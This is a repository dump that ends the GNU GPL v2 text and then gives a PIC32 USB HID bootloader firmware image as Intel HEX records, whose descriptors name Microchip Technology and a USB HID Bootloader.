To do so, attach the following notices to the program. It is safest to
attach them to the start of each source file to most effectively convey the
exclusion of warranty; and each file should have at least the "copyright"
line and a pointer to where the full notice is found.
one line to give the program's name and an idea of what it does.
Copyright (C) 19yy name of author
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this when
it starts in an interactive mode:
Gnomovision version 69, Copyright (C) 19yy name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details
type `show w'. This is free software, and you are welcome
to redistribute it under certain conditions; type `show c'
for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may be
called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright
interest in the program `Gnomovision'
(which makes passes at compilers) written
by James Hacker.
signature of Ty Coon, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General Public
License instead of this License.
*/
================================================
FILE: firmware/Pic32/HIDBoot_MX795_Hex_Load.X/HIDBoot.X.production.hex
================================================
:020000040000fa
:020000041fc01b
:042ff400d979f8ff90
:020000040000fa
:020000041fc01b
:042ff800db0d60ff8e
:020000040000fa
:020000041fc01b
:042ffc00ffffff7f55
:020000040000fa
:020000041fc01b
:10000000c0bf1a3c10005a2708004003000000003f
:1000100000601a40c0045a7f050040130000000031
:10002000009d1a3cf44c5a270800400300000000d1
:1000300000a01d3cf87ebd2701a01c3c00809c2731
:100040000260094020582001801e2a7d8449497d94
:1000500002608940c000000000e0dc4102608b408b
:10006000009d083c644d082509f8000100000000cf
:1000700000a0083c0800082500a0093c80052925af
:100080000600001000000000000000ad040000adfc
:10009000080000ad0c0000ad100008252b08090178
:1000a000f9ff201400000000009d083c704a08255c
:1000b0000000098d180020110400082500000a8d99
:1000c0000400082500000b8d0900601104000825bc
:1000d00000000c91ffff4a250100082500002ca11b
:1000e000fbff40150100292505000010000000005d
:1000f000000020a1ffff4a25fdff40150100292532
:1001000003000825fcff0a24244048010000098d53
:10011000e7ff2015000000000000093c0000292531
:1001200010002011000000000000093c007f29257c
:1001300088bf0a3c10204a25000049ad0000093c58
:10014000007f292588bf0a3c20204a25000049adb0
:100150000000093c007f292588bf0a3c30204a2541
:10016000000049ad00488040ffff0a2400588a4043
:10017000009d093c00002925017889400000093cc8
:100180000100292500000a2444492a7d01608a4093
:100190008000093c00688940008008408005097d96
:1001a000404c0900006008405800013c2440010117
:1001b0002540280100608840009d083c6c4d0825c2
:1001c00009f800010000000000600840bfff013c8a
:1001d000ffff21342440010100608840000084308a
:1001e0000000a530009d083c0c4d082508000001ca
:0401f000000000000b
:020000040000fa
:020000041fc01b
:10038000009d1a3c284d5a27080040030000000039
:020000040000fa
:020000041d00dd
:10018000009d1a3c08475a27080040030000000061
:020000040000fa
:020000041d00dd
:102000001201000200000008d8043c000200010296
:102010000001000009022900010100c0320904008a
:10202000000203000000092111010001221d000728
:102030000581034000010705010340000100000085
:102040000403090434034d006900630072006f004b
:1020500063006800690070002000540065006300a0
:1020600068006e006f006c006f0067007900200050
:1020700049006e0063002e00260355005300420005
:102080002000480049004400200042006f006f001b
:1020900074006c006f006100640065007200000055
:1020a0000600ff0901a10119012940150026ff00c2
:1020b000750895408100190129409100c000000079
:1020c0001420009d4020009d4420009d7820009d0c
:020000040000fa
:020000041d00dd
:1020d800c0ffbd273c00bfaf3800beaf3400b7af6c
:1020e8003000b6af2c00b5af2800b4af2400b3afb2
:1020f8002000b2af1c00b1af1800b0af7080828f63
:10210800200040140100032488bf023c505240ac18
:1021180088bf023c105240ac88bf033ce05260ac20
:102128009f00032488bf043c305283ac105243ac58
:1021380088bf023c7050438c0f006330705043ac32
:102148007050438c705043ac88bf023c5052428c54
:10215800010042300d00401488bf023c01000424f5
:102168005052438c0400837c505243ac5052438cf1
:1021780001006330faff6010ff0003246708400b7a
:1021880088bf023c1100431488bf023cff000324af
:1021980088bf023c005243ac88bf023c105240ac9e
:1021a80088bf023c1052438c010004240400837c45
:1021b800105243ac1052438c0421837c105243ac20
:1021c80002000224708082af88bf023c4050428cdb
:1021d800100042301400401088bf023c88bf023c07
:1021e8005050428c100042300f00401088bf023c13
:1021f80088bf113c10001024405030ae588080af8a
:102208007400042421280000cd12400f2130000062
:1022180088bf023c5050438c0421037c505043ac8f
:10222800405030ae88bf023c8050428c02004230a1
:102238000700401088bf023c88bf023c4010438c16
:1022480044ce037c401043ac3f0d400b3c00bf8f95
:102258000052428c010042300e00401088bf023c00
:1022680088bf023c1052428c0100423009004010e5
:1022780088bf023c680e400f0000000004000224e2
:10228800708082af0100032488bf023c005243ac37
:1022980088bf023c0052428c1000423015004010aa
:1022a80088bf023c88bf023c1052428c100042306a
:1022b8001000401088bf023c88bf033c5050648c1b
:1022c800010002240421447c505064ac88bf113cb6
:1022d80010001024005230ae588082af75000424dc
:1022e80021280000cd12400f21300000005230aeee
:1022f80088bf023c0052428c040042300e0040105d
:1023080088bf023c88bf023c1052428c0400423015
:102318000600401004000324730004242128000050
:10232800cd12400f010006240400032488bf023c9c
:10233800005243ac88bf023c0052428c80004230bd
:102348002b00401088bf023c88bf023c1052428cd0
:10235800800042302600401088bf023c88bf023c03
:102368000053428c020042301d0040107c80828f56
:1023780000004390ff00633001004490ff00843068
:1023880000220400252083008000032411008354c8
:1023980088bf023c7480838f00006590ff00a530e1
:1023a80001006490ff00843000220400252085008d
:1023b800840003240700835488bf023c0000439034
:1023c8008cff0324000043a001004390010040a0bb
:1023d80088bf023c0053438c4408037c005343ac41
:1023e8008000032488bf023c005243ac88bf023cf3
:1023f8000052428c02004230120040107080828fde
:1024080088bf023c1052428c020042300d0040103e
:102418007080828fff7f043cffff843421280000f6
:10242800cd12400f01000624ff00032488bf023ca0
:10243800205243ac0200032488bf023c005243ac44
:102448007080828f0400422c0700401088bf023c35
:1024580088bf023c4010438c44ce037c401043ac00
:102468003f0d400b3c00bf8f1052428c0800423099
:102478001c04401088bf023c88bf023c0052428cba
:102488000800423009004014040010243b0d400ba2
:1024980088bf023c0052428c080042300c004014b5
:1024a80088bf023c3b0d400b0000000088bf133c76
:1024b80088bf143c080011242190200200a0163c7b
:1024c8000004d62600a0153c009d173c0020f726e6
:1024d8004052638eff006330208083a32120600078
:1024e8000019827c818082a3005292ae0800843059
:1024f800ff00843009008014188084273c808427da
:1025080021208200000085900000a67c0100c638ca
:102518000400c57c4f09400b000085a021208200e3
:10252800000085900000a67c0100c6380400c57c28
:10253800000085a0e303401472000424fb0062300d
:102548008603401482180300c01003002110c20241
:102558007c8082af488082af08004438488084a3da
:10256800000045903c00a53034000424df02a41488
:10257800212800004080892700a0083c04004a90d8
:10258800ff004a3105004790ff00e730003a070096
:102598002538ea0006004490ff0084300024040037
:1025a8002520870007004690003606002530c40025
:1025b800212025012530c8000000c690000086a013
:1025c80004004a90ff004a3105004790ff00e730b9
:1025d800003a07002538ea0006004690ff00c6309a
:1025e800003406002530c700070044900026040088
:1025f800252086000100842404004690040044a09d
:102608000500469002320400050046a006004690e8
:1026180002340400060046a0070046900226040083
:10262800070044a00100a524d4ffb1140000000055
:102638004080852700e0a27cc0180300211876009e
:10264800040062ac808080a31c8080af388080af9b
:102658005c8080af548080af308080a374808227f4
:102668000000438c00006490ff00843001006690f5
:10267800ff00c630003206002530c4007fff042466
:102688002430c40000006790000066a00100679035
:1026980002320600010066a000004390080063387b
:1026a800000043a00000438c00006790ff00e73063
:1026b80001006690ff00c630003206002530c700d2
:1026c8002430c40000006790000066a001006790f5
:1026d80002320600010066a000004390080063383b
:1026e800000043a04880828f00004690ff00c6305b
:1026f80001004390ff006330001a030025186600ac
:102708002420640000004390000044a0010043908e
:1027180002220400010044a00002a226040040a0f6
:10272800080040a400a0023c10024224040040a07b
:102738000400438c04ba037c040043ac0000a2905c
:1027480060004230f3014054030004244180829326
:10275800ff0042300c00432cee01605003000424bb
:1027680080100200009d033c84276324211062002e
:102778000000428c08004000000000009c29009dd9
:10278800dc2a009d182f009ddc2a009d182f009d33
:10279800b427009dd027009d082f009d7429009d17
:1027a800b028009da42e009dd82e009d0002a226d0
:1027b8000400438c01000424c439837c040043ac26
:1027c800c60b400b708092af40808393ff0063304c
:1027d80080000224cf016214030004240002a22610
:1027e800c0ff0324040043a043808293ff004230cb
:1027f80002000324090043100300032415004310ba
:1028080001000324260043140002a2260002b7aeea
:1028180012000324c70b400b080043a44280839393
:10282800ff00633080180300009d023cc020422452
:10283800211062000000428c0002a2ae0002a32612
:1028480002004490080064a003004290c60b400bad
:10285800090062a042808293ff0042300300422cac
:102868000d0040100002a22642808393ff006330cf
:1028780080180300009d023cc420422421106200fd
:102888000000428c0002a2ae0002a3260000429083
:10289800c60b400b080062a4c60b400b040040a006
:1028a800c60b400b040040a00002a2260400438c83
:1028b80001000424c439837c040043ac88bf023c73
:1028c800105340ac21100000c018020021187600f7
:1028d8002120000021280000000064ac040065ac41
:1028e80001004224f9ff5114c018020088bf023cbd
:1028f8005052438c010004244408837c505243ac5a
:10290800188080a33c8080a3198080a33d8080a389
:102918004c8080a35052438c4408037c505243acf3
:1029280000a0023c10044224748082af7c8096afe1
:10293800488096af42808293ff00423004004014e2
:10294800688082a310000224c60b400b708082afff
:102958000100042468808527cd12400f0100062459
:1029680020000224c60b400b708082af688082274b
:102978000002a2ae0002a2260400448c0100032437
:102988000400647c080043a0c439647cc60b400b77
:10299800040044ac248080a3258080a34080828fdb
:1029a8001f004230010003241900431002000324d1
:1029b8001d0043500002a226390040140002a2263e
:1029c8000002a3260400648c01000224c439447c5c
:1029d800040064ac2480832700006490ff008430e6
:1029e80001008434000064a02c80838f2c00625482
:1029f8000002a2262480822700004390ff00633053
:102a080002006334000043a0aa0a400b0002a22679
:102a18000002a2260400438c01000424c439837cec
:102a2800aa0a400b040043ac0400438c01000424b0
:102a3800c439837c040043ac4480829380004230d4
:102a4800ff00423008004014000000004480828fdc
:102a58000f0042308010020060808327211062003e
:102a6800a20a400b0000428c4480828f0f00423043
:102a78008010020074808327211062000000428cbd
:102a88000000439084006330840002240400621430
:102a98000002a22601000224248082a30002a226aa
:102aa8000400428c800042301901401024808227a3
:102ab8000002a2ae0002a2260400438c01000424f6
:102ac8000400837c040043ac02000324c60b400bc3
:102ad800080043a042808393ff0063300100022472
:102ae8001000621400000000408082931f004230f2
:102af8000c0040140002a2260400438c01000424a8
:102b0800c439837c040043ac41808393ff00633065
:102b180003000224030062542c8080af01000224c9
:102b28002c8082af42808293ff004230f90040142b
:102b380003000424408083931f00633002000224b2
:102b4800f500621421280000448082930f0042306f
:102b5800f1004010000000004480828f0f004230d6
:102b680002004228ec004010200002247080838f6d
:102b7800e90062140002a2260400438c0100042428
:102b8800c439837c040043ac448082938000423083
:102b9800ff0042300e004014448082270000438c1e
:102ba8000f00633080180300608084272118830099
:102bb8000000638c1000a3af0000428c0f0042306d
:102bc8003c80832721106200020b400b00005e90be
:102bd8000000438c0f006330801803007480842742
:102be800211883000000638c1000a3af0000428c02
:102bf8000f004230188083272110620000005e9089
:102c08000100c233040040141000a293f7004230c0
:102c18000a0b400b1000a2a3080042341000a2a324
:102c28004480829380004230ff0042300900401403
:102c3800000000004480828f0f00423080100200a4
:102c480060808327211062001000a38f1e0b400ba9
:102c5800000043ac4480828f0f0042308010020095
:102c680074808327211062001000a38f000043acfa
:102c780041808393ff00633003000224280062141c
:102c88001000a2931000a28f0000429080004230f2
:102c9800ff004230180040101000a28f4480829339
:102ca80080004230ff0042300a004014000000005b
:102cb8004480828f0f0042303c80832721106200bd
:102cc80000004390010004244408837c3f0b400b20
:102cd800000043a04480828f0f0042301880832771
:102ce8002110620000004390010004244408837c02
:102cf800000043a01000a28f000044900100439000
:102d0800001a03002518640084006334ffff633051
:102d1800000043a0021a0300c60b400b010043a0a9
:102d2800080042381000a2a31000a58f0000a2904e
:102d380080004230ff004230100040500000a39055
:102d48000000a2900100a390001a03007f00423007
:102d58002510430040004234ffff42300000a2a08b
:102d6800021202000100a2a005000424cd12400fa7
:102d7800040006246a0b400b1000a2930100a290e5
:102d8800001202002510430040004234ffff423089
:102d98000000a2a0021202000100a2a01000a2934b
:102da800080042380200c533ff00be300700c017d4
:102db8001000a2a31000a28f00004390800063308f
:102dc800ff006330230060500000439044808293ea
:102dd80080004230ff00423009004014000000002b
:102de8004480828f0f0042303c808327211062008c
:102df800000043904408037c890b400b000043a06b
:102e08004480828f0f00423018808327211062008f
:102e1800000043904408037c000043a01000a58fe5
:102e28000000a2900100a390001a03003b0042306a
:102e3800251043000000a2a0021202000100a2a077
:102e480005000424cd12400f040006249e0b400bfd
:102e58000000000001004490002204003b006330a1
:102e680025186400000043a0021a0300010043a0d3
:102e78004480838f0f0063300019030088bf023c31
:102e880000534224211043000000448cfdff03241a
:102e980024188300c60b400b000043ac4480829387
:102ea800ff0042304c808327211062000002a2ae4e
:102eb8000002a2260400448c010003240400647c60
:102ec800080043a0c439647cc60b400b040044ac22
:102ed8000002a2260400438c01000424c439837c28
:102ee800040043ac44808293ff00423042808393c5
:102ef8004c80842721108200c60b400b000043a0a1
:102f08000200042421280000cd12400f21300000c7
:102f18000300042421280000cd12400f21300000b6
:102f280088bf023c5052438c4429037c505243ac26
:102f38000002a2260400428c800042303200401475
:102f480000a0023c1402429080004230ff00423050
:102f58000b00401002000224308082a35c80828f24
:102f68000300401400000000b410400f00000000ef
:102f7800508080af6c8080af370d400bffff10266c
:102f88004880828f02004390020051a003004490c1
:102f9800fcff032424188300030043a04880828f89
:102fa8004080842700e0837c04004590040044a00e
:102fb8000500449002220300050044a00600449046
:102fc80002240300060044a007004490021e0300e8
:102fd800070043a0000043908cff0324000043a097
:102fe80001004390010040a07480828f000043904c
:102ff80084ff0324000043a001004390010040a087
:10300800370d400bffff102640808293800042302e
:10301800ff00423011004010020002240100022487
:10302800308082a33880828f0300401400000000a3
:10303800b410400f00000000508080af6c8080af5b
:103048001c80828f23014014ffff10261c10400fa4
:1030580000000000380d400bff001032308082a3c2
:103068004880828f02004390020051a003004490e0
:10307800fcff032424188300030043a04880828fa8
:103088004080842700e0837c04004590040044a02d
:103098000500449002220300050044a00600449065
:1030a80002240300060044a007004490021e030007
:1030b800070043a00000439084ff0324000043a0be
:1030c80001004390010040a0508080af6c8080af29
:1030d8001c80828fff004014ffff10261c10400f39
:1030e80000000000380d400bff0010323080849340
:1030f800020002247a008254308080a3c0180300a2
:10310800211876000000668c003cc67c00a0023cba
:103118001402428c007a427c2b204600ff00433088
:103128000b3064002310460000a0033c1002632407
:103138000400648c04ba447c0f00c010040064ac22
:103148002110000000a0043c248087271002838cf3
:103158002128e2000000a590000065a0010063247a
:10316800100283ac01004224ff0043302b18660094
:10317800f7ff60141002838c00a0023c1402428cfa
:10318800007a427c290040104880828f02004390d8
:10319800020051a003004490fcff0324241883007c
:1031a800030043a04880828f2480842700e0837c2a
:1031b80004004590040044a0050044900222030046
:1031c800050044a00600449002240300060044a021
:1031d80007004490021e0300070043a07c80838ff1
:1031e8000000639040006330ff0063300800601403
:1031f8000000000000004390c8ff0324000043a023
:1032080001004390010040a0370d400bffff10263e
:103218000000439088ff0324000043a0010043906e
:10322800010040a0370d400bffff1026020043901d
:10323800020051a003004490fcff032424188300db
:10324800030043a04880828f4080842700e0837c6d
:1032580004004590040044a00500449002220300a5
:10326800050044a00600449002240300060044a080
:1032780007004490021e0300070043a0000043908b
:1032880084ff0324000043a001004390010040a0f4
:1032980000a0023c100242240a0043880700439819
:1032a8000400601000a0023c09f860000000000063
:1032b80000a0023c100242240400438cc439037c61
:1032c800040043ac1c80828f82004014ffff10264c
:1032d8001c10400f00000000380d400bff0010329a
:1032e8005480828f7a004054548080af4880828f07
:1032f80002004390020051a003004490fcff032405
:1033080024188300030043a04880828f40808427cc
:1033180000e0837c04004590040044a0050044902c
:1033280002220300050044a0060044900224030082
:10333800060044a007004490021e0300070043a0b3
:10334800000043908cff0324000043a00100439039
:10335800010040a0370d400bffff10265d005154bf
:10336800ffff1026748082270000438c00007e90a7
:103378000000439008006338000043a07080828feb
:103388000c0051148001de7f42808393ff0063307c
:1033980088bf023c605243ac6052428c040040102b
:1033a8000400022410000224ef0c400b708082af4e
:1033b800708082af30808393010002242d00621454
:1033c80000a0023c7480828f2480842700e0837ce4
:1033d80004004590040044a0050044900222030024
:1033e800050044a00600449002240300060044a0ff
:1033f80007004490021e0300070043a03f11400f3e
:1034080000000000808083930200022408006214f8
:103418007480828f0000439084ff0324000043a03f
:1034280001004390010040a0370d400bffff10261c
:103438000900c017000000007480828f00004390cc
:10344800c8ff0324000043a001004390010040a0ee
:10345800370d400bffff10260000439088ff032420
:10346800000043a001004390010040a0370d400b2d
:10347800ffff10261402429080004230ff004230c5
:1034880013004050308080a300a0023c1002422468
:103498000a004388070043980400601000a0023c1b
:1034a80009f860000000000000a0023c100242245d
:1034b8000400438cc439037c040043ac360d400b34
:1034c800308080a320808527cd12400f2130000056
:1034d800ffff1026ff001032eefb001688bf023ceb
:1034e80088bf023c4010438c44ce037c401043ac60
:1034f8003c00bf8f3800be8f3400b78f3000b68fc6
:103508002c00b58f2800b48f2400b38f2000b28f11
:103518001c00b18f1800b08f0800e0034000bd27e1
:020000040000fa
:020000041d00dd
:10352800d8ffbd272400bfaf2000b4af1c00b3af45
:103538001800b2af1400b1af1000b0af8c80829306
:103548002f00401400a0023c0c80828f06004050df
:103558000880828f0000429080004230ff00423095
:10356800050140140880828f070040140000000005
:1035780000a0023c4004422400a0033cc004632491
:103588006b0d400b40004524000042908000423003
:10359800ff004230f7ff401000a0023c610e400bd4
:1035a8002400bf8f00004490000064a00100422462
:1035b800fcff4514010063240100042421280000b5
:1035c80000a0063c4004c6246e10400f40000724ab
:1035d800088082af010002248c8082a300a0023cf4
:1035e8008004422440004324000040a001004224fb
:1035f800feff4354000040a0610e400b2400bf8f23
:10360800c00443900900632cdc0060102400bf8fc5
:10361800c004439080180300009d023c38364224c1
:10362800211043000000428c080040000000000008
:103638008039009d8039009d7036009dfc36009dc4
:103648005c36009d9c37009d8438009d9c38009d09
:103658005c39009d858082933e00401c001d103c13
:10366800e20d400b81bf023c00a0023c0200032493
:10367800800443a08004422438000324010043a0ae
:1036880003000324020043a001000324030043a015
:10369800001d033c00506324040043ac9080848fd9
:1036a80023188300080043acffff03240c0043a049
:1036b8000c80828f07004010010004240000429013
:1036c80080004230ff004230ac0040142400bf8f1d
:1036d800010004240100052400a0063c8004c6243f
:1036e8006e10400f400007240c8082af600e400b24
:1036f8008c8080a300a0023cc10442900a004014c0
:1037080088bf023c6020438c021b0300858083a392
:103718006020438c001d023c21106200908082af23
:10372800d50d400b8d8080a36020438c021b0300c5
:10373800858083a36020438c001d023c2110620019
:10374800908082af010002248d8082a3600e400b1e
:103758008c8080a300501026218800002413400f7d
:10376800212000023608400f01003126858082930f
:103778002a102202f9ff40140010102681bf023cd3
:1037880000f4438c8473037c00f443ac600e400b5c
:103798008c8080a3ffff02248880838f0600621438
:1037a80000a0023cc004422404004388010043985e
:1037b800888083af00a0023cc004422404004388f0
:1037c800010043988880828f6b0062548c8080a3ac
:1037d80000a0023cc50442900400432c250060145c
:1037e8002180000000a0123c000552263800132456
:1037f80000a0113cc00431260e0014248480839359
:103808008020030021209200231062020300452437
:10381800000046280b10a6008310020021100202a7
:103828000200422480100200211051000000428c46
:10383800000082ac01006224ff004230848082a331
:103848008880838f0400632403005414888083af26
:10385800b612400f0000000001001026ff001032d1
:1038680005002292821802002b180302e4ff60145c
:1038780084808393600e400b8c8080a3b612400f27
:1038880000000000ffff0224888082af600e400b1a
:103898008c8080a30c80828f0600405000a0023ce0
:1038a8000000429080004230ff0042303200401455
:1038b80000a0023c07000324800443a000a0043cad
:1038c800c00484240400838801008398800442246f
:1038d800040043a8010043b805008490050044a0f3
:1038e80082200400120080100e00022423104400dd
:1038f800ffff8824ff000831232004010f008824db
:1039080000a0073c8004e7240080063c0200442411
:103918008020040021208700252866000000a58c4f
:10392800000085ac01004224f8ff48140400632419
:10393800010004240100052400a0063c8004c624dc
:103948006e10400f400007240c8082af600e400bc1
:103958008c8080a388bf023c505240acffff0234e9
:1039680040000000ffff4224fdff4014000000005b
:103978006312400f000000002400bf8f2000b48fa6
:103988001c00b38f1800b28f1400b18f1000b08fd5
:083998000800e0032800bd2730
:020000040000fa
:020000041d00dd
:1039a00088bf023c7010438c44ce037c701043ac43
:1039b000ff00022488bf033c205262ac88bf033c56
:1039c000005262ac88bf023c005340ac88bf023c4e
:1039d000105340ac88bf023ce05240ac9f00022430
:1039e00088bf033c305262ac88bf033c105262accb
:1039f00088bf023c7050438c0f006330705043ac62
:103a00007050438c705043ac88bf023c8050438c54
:103a1000010004240400837c805043ac00a0023cdd
:103a20000004422400e0427c0226020088bf033cde
:103a3000d05264ac0224020088bf033cc05264ac84
:103a40000212020088bf033c705262ac21100000d9
:103a500000a0053c0004a52408000424c0180200ae
:103a6000211865002130000021380000000066acfc
:103a7000040067ac01004224f9ff4414c01802009e
:103a800088bf023c5052438c010004244408837ccc
:103a9000505243ac88bf033c605260ac5052438ce0
:103aa0004429037c505243ac5052438c4408037c5d
:103ab000505243ac88bf023c0052428c0800423056
:103ac0000f0040100800042488bf053c88bf033c59
:103ad0000052a4ac0052628c08004230fcff40143b
:103ae00000a0023c040240a000a0023c10024224bc
:103af000040040a00400438c04ba037c040043acdf
:103b0000010002246c8082af508082af388080af89
:103b10005c8080af588080af608080af188080a3c9
:103b20003c8080a3788080af648080af198080a3c0
:103b30003d8080a300a0023c10044224748082af28
:103b40000d00032488bf023c005343ac408084270f
:103b500000e0847c00a0023c00044324040064ac28
:103b60000004438c0800042404cc837c000443ac90
:103b700084000324000443a4688080a30800e003b9
:043b8000708080af22
:020000040000fa
:020000041d00dd
:103b8400ff00843088bf023c5052428c20004230f7
:103b940068004010802004007480822721204400a3
:103ba4000000828c00004390010045900200459083
:103bb400030045900400459005004590060045909b
:103bc400070045904000633000004590000043a08a
:103bd40001004390010040a002004390020040a075
:103be40003004390030040a004004390040040a05d
:103bf40005004390050040a006004390060040a045
:103c040007004390070040a00000828c000047900a
:103c1400ff00e73001004690ff00c6300032060086
:103c24002530c70002004390ff006330001c0300ee
:103c34002518660003004590002e05002528a300e2
:103c440004004890ff00083105004790ff00e7306a
:103c5400003a07002538e80006004690ff00c63009
:103c6400003406002530c70007004390001e0300ff
:103c7400251866004000a53800004690000045a0c5
:103c84000100469002320500010046a00200469061
:103c940002340500020046a003004690022e0500ef
:103ca400030045a004004590040043a0050045908e
:103cb400022a0300050045a006004590022c0300db
:103cc400060045a007004590021e0300070043a01c
:103cd4000000829008004238000082a00000828c1c
:103ce400000043900100459040006330ffff6330c3
:103cf40000004590000043a001004390010040a053
:103d04000000828c00004490ff0084300100439046
:103d1400ff006330001a0300251864004000633874
:103d240000004490000043a001004490021a0300e4
:0c3d3400010043a00800e00300000000b4
:020000040000fa
:020000041d00dd
:103d40001680829705004014ffff422410270224aa
:103d5000168082a716808297ffff4224ffff423021
:103d6000168082a788bf033c8050638c02006330ba
:103d7000100060107080838f0c00401488bf023cdc
:103d80002061448c080084300100842c2061438c25
:103d9000c418837c206143ac2061448cc000847cc7
:103da0002061438c8410837c206143ac0800e003d5
:103db000000000000a0060140100042488bf023cd7
:103dc0002061438cc418037c206143ac2061438c88
:103dd0008410037c206143ac0800e0030000000075
:103de0000a0064540200042488bf023c2061438c12
:103df000c418837c206143ac2061438c8410837c95
:103e0000206143ac0800e003000000000b006414d4
:103e10000400042488bf023c2061438c0100042478
:103e2000c418837c206143ac2061438c8410037ce4
:103e3000206143ac0800e003000000000b006414a4
:103e40001000042488bf023c2061438cc418037c0a
:103e5000206143ac2061438c010004248410837ce6
:103e6000206143ac0800e003000000000e00641471
:103e700020000424cdff401488bf023c2061448c04
:103e8000080084300100842c2061438cc418837c9a
:103e9000206143ac2061438c8410037c206143acdf
:103ea0000800e003000000000f00641400000000a0
:103eb000beff401488bf023c2061448c080084305f
:103ec0000100842c2061438cc418837c206143aca6
:103ed0002061448c080084300100842c2061438cd4
:103ee0008410837c206143ac0800e00300000000e4
:020000040000fa
:020000041d00dd
:103ef000408083931f006330010002245a00621443
:103f00000000000044808293ff00423056004014bd
:103f10000000000041808393ff006330060002240c
:103f2000210062140000000043808293ff004230b1
:103f30002100032405004310220003241a00431427
:103f400068808393e00f400b010002246880839314
:103f5000010002241400621400a0023c009d033cf6
:103f600026206324000243ac0002422409000324fb
:103f7000080043a4c0ff0324ea0f400b040043a041
:103f80000900621400a0023c009d033ca0206324b1
:103f9000000243ac000242241d000324080043a495
:103fa000c0ff0324040043a040808393600063307b
:103fb000200002242c006214000000004180829343
:103fc000ff004230030003241b0043100400432c75
:103fd000060060100a000324020003242200431498
:103fe00000a0023c0110400b838083270c0043108b
:103ff0000b0003241c00431480ff03241710400b04
:1040000000a0023c000243ac000242240100032451
:10401000080043a4c1ff03240800e003040043a0f8
:1040200080ff032400a0023c040243a0438082934b
:104030000800e003838082a300a0023c82808327e3
:10404000000243ac0002422401000324080043a400
:1040500081ff03240800e003040043a0040243a0fe
:1040600042808293828082a30800e0030000000067
:020000040000fa
:020000041d00dd
:104070006c80828f18004014010002246c8082af93
:104080005080828f1400401401000224508082afbf
:1040900030808293020003241100431401000324a2
:1040a000748083270000628c02004490020040a0cc
:1040b00003004590fcff04242420a400030044a036
:1040c0000000628c00004390c8ff0324000043a05e
:1040d00001004390010040a00800e0030000000040
:1040e0003300431400000000548080af7c80828f36
:1040f0000200439008000824020048a003004390f7
:10410000fcff072424186700030043a07c80828ff3
:104110004080862700e0c37c04004490040046a051
:1041200005004490022a0300050045a006004490c3
:1041300002240300060044a007004990021e030069
:10414000070043a00000499084ff0924000049a013
:1041500001004990010040a001000224548082af78
:104160004880828f02004990020048a003004890d6
:1041700024380701030047a04880828f040047903d
:10418000040046a005004690050045a006004590a5
:10419000060044a007004490070043a0000043909d
:1041a00080ff0324000043a001004390010040a0d1
:0841b0000800e003000000001c
:020000040000fa
:020000041d00dd
:1041b800ff008430ff00a5300600a010ff00e730a4
:1041c8008010040074808327211062007b10400b4c
:1041d8000000438c80100400608083272110620057
:1041e8000000438c360060102110000000e0c27c03
:1041f80004006890040066a0050066900232020080
:10420800050066a00600669002340200060066a05b
:104218000700669002160200070062a00200629082
:10422800020067a003006290fcff06242410c2006d
:10423800030062a0000062900100669040004230d6
:10424800ffff423000006690000062a0010062900b
:10425800010060a000006690ff00c6300100629077
:10426800ff00423000120200251046008800423448
:1042780000006690000062a0010066900212020031
:10428800010062a00800a01080200400748082272a
:10429800212044000000829008004238000082a0db
:1042a8000800e0032110600060808227212044007c
:1042b8000000829008004238000082a021106000af
:0842c8000800e0030000000003
:020000040000fa
:020000041d00dd
:1042d000e8ffbd271400bfaf388080af5c8080af9f
:1042e00030808393020002241d0062144880828f74
:1042f0000200439008000324020043a003004490fe
:10430000fcff032424188300030043a04880828f0d
:104310002480842700e0837c04004590040044a0ae
:104320000500449002220300050044a006004490ca
:1043300002240300060044a007004490021e03006c
:10434000070043a000004390c8ff0324000043a0df
:1043500001004390010040a0f810400b1400bf8ff3
:1043600046808297ffff423000a0033c080263941e
:104370002b1043000400401000000000468083978b
:1043800000a0023c080243a43f11400f00000000bf
:104390007480828f2480842700e0837c0400459011
:1043a000040044a00500449002220300050044a03c
:1043b0000600449002240300060044a00700449035
:1043c000021e0300070043a000004390c8ff03241f
:1043d000000043a001004390010040a01400bf8fe3
:0843e0000800e0031800bd27ee
:020000040000fa
:020000041d00dd
:1043e800e8ffbd271000b0af1400bfaf5d13400f4a
:1043f8002180800088bf053c0030a78c0003e77c43
:104408000800e014004003360010042488bf033c71
:10441800083064ac0030a38c00086330fdff6014e2
:104428000040033681bf103c00f403ae004806404c
:104438000048034023186600f000632cfcff60145a
:1044480099aa043c81bf033c5566842410f464aceb
:104458006655043caa99843410f464ac0080043492
:1044680081bf033c08f464ac00f4038e0080633021
:10447800fdff60140040042481bf033c04f464acd5
:104488001200e010001004240030a38c0003637ca9
:104498000600601488bf033c083064ac0030a38c6d
:1044a80000086330fdff6014000000003613400f61
:1044b8002120400000f4028e1400bf8f1000b08f3e
:1044c800003042300800e0031800bd2788bf033cd5
:1044d800043064ac3613400f2120400000f4028ef3
:1044e8001400bf8f1000b08f003042300800e00386
:0444f8001800bd27c4
:020000040000fa
:020000041d00dd
:1044fc0000a0023c080243940800642c0c008010bd
:10450c0008000224ff006230808083930400601452
:10451c0001000424010003244f11400b808083a36d
:10452c000400641400a0043c02000324808083a3d4
:10453c0000a0043c00028424080083942318620029
:10454c00080083a47480838f02006690020062a02e
:10455c0003006590fcff06242428c500030065a019
:10456c0024808327348083af0400838c0100633064
:10457c0005006010000000001200401400a0053c73
:10458c000800e00300000000fdff401000a0053c07
:10459c003480848f0002a38c00006690000086a0fb
:1045ac0001008424348084af01006324ffff422483
:1045bc00ff004230f6ff40140002a3ac0800e003f9
:1045cc00000000003480848f0002a38c00006690f1
:1045dc00000086a001008424348084af0100632491
